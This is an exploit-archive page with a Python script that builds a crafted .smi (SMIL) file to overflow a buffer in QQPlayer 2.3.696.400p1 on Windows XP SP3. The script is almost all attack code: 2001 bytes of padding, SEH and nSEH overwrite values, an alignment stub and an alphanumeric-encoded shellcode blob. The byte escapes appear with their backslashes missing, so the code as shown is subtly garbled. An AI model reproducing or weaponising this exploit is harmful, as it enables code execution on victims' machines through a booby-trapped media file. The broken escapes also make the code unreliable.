QQPlayer smi File Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : QQPlayer smi File Buffer Overflow Exploit
# Published : 2010-07-27
# Author : Lufeng Li
# Previous Title : Mediacoder v0.7.3.4682 (.m3u) File Universal Buffer Overflow Exploit
# Next Title : Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation Vulnerability

#!/usr/bin/env python

#################################################################
#
# Title: QQPlayer smi File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400p1
# Vulnerable: QQPlayer<=2.3.696.400p1
#
#################################################################
# Code :

head ='''<smil>
 <head>
  <meta name="title" content="_"/>
  <meta name="author" content="Warner Music Group'''

junk = "A" * 2001
nseh ="x42x61x21x61"
seh  ="x39x0cx41x00"
adjust="x30x83xc0x0b"
shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV"
           "QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL"
           "KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9"
           "QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW"
           "TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R"
           "HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA")
junk_="R"*8000
foot ='''"/>
 </head>
 <body>
   <seq>
    <video src="rtsp://sos08-1-rm.eams.net/lis/424444/.uid.M0001" title="_"fill="freeze"/>
  </seq>
 </body>
</smil>
<!-- Generated by Akamai Stream OS BOSS (v10.0.14-20100129) / d366992c -->'''
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.smi","w")
fobj.write(payload)
fobj.close()